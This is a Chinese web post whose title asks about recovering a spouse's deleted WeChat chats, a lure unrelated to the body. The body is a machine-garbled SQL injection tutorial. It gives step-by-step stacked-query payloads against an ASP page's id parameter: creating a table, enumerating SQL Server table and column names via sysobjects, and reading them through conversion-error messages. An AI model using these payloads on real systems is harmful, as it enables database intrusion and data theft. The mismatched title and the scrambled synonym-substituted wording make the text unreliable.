网上有没有公司可以查询我老公或妻子的已删除的微信聊天记录

人人在是否碰到过这样的站点: 全站文章系统接纳FSO静态天生的HTML文件来显示。这样做的利益一来可以减轻服务器肩负,提高接见速率。二来也阻止了SQL注入式的攻击。。 我来说说他们的文章系统原...

人人在是否碰到过这样的站点: 
全站文章系统接纳FSO静态天生的HTML文件来显示。这样做的利益一来可以减轻服务器肩负,提高接见速率。二来也阻止了SQL注入式的攻击。。 
我来说说他们的文章系统原理:所有文章均在数据库存有一个副本。另处凭据模板天生一个HTML页面。 
攻击方式: 
查看源文件/看内里是否有通过JS来挪用的页面。 
如挪用来更新文章的浏览次数。 
我们就可以这样来试一下能否注入: 
http://服务器域名/count.asp?id=1552’ 
看一下是否失足。如失足说明有注入破绽。然后正常攻击。 
在本机确立一下post.htm的文件和log.txt的文本文件(用来记任命,这是一个好习惯) 
post.htm内容:主要是利便输入。 
 

 

 
 
 
 
 
对于SQLSERVER的服务器可以这样判断:在1552后加一分号,如正常有可能是SQLSERVER 
对于这类数据库可以先建一个表id=1552;create table aaa(aaa char(20));-- 
然后插入一条纪录:id=1552;insert into aaa values(’test’);-- 
再之后枚举出他的数据表名: 
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0);-- 
这是将第一个表名更新到aaa的字段处。 
id=1552 and exists(select * from aaa where aaa>5)就会报错,多数情形会将表名直接读出:看: 
Microsoft OLE DB Provider for SQL Server 错误 ’80040e07’ 
将 varchar 值 ’vote’ 转换为数据类型为 int 的列时发生语法错误。 
/search.asp,行21 
其中vote就是表名: 
也可以先猜出一个表名,再把(select top 1 name from sysobjects where xtype=’u’ and status>0)的值更新到谁人表的一条纪录中去。通过网页显示。 
读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>’适才获得的表名’)。 
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0 and name<>’vote’);-- 
然后id=1552 and exists(select * from aaa where aaa>5) 
读出第二个表,^^^^^^一个个的读出,直到没有为止。 
读字段是这样: 
id=1552;update aaa set aaa=(select top 1 col_name(object_id(’表名’),1));-- 
然后id=1552 and exists(select * from aaa where aaa>5)失足,获得字段名 
id=1552;update aaa set aaa=(select top 1 col_name(object_id(’表名’),2));-- 
然后id=1552 and exists(select * from aaa where aaa>5)失足,获得字段名 

  • 发表于 2021-04-06 13:07
  • 阅读 ( 262 )
  • 分类:互联网

0 条评论

请先 登录 后评论
技术部
技术部

732 篇文章

你可能感兴趣的文章

相关问题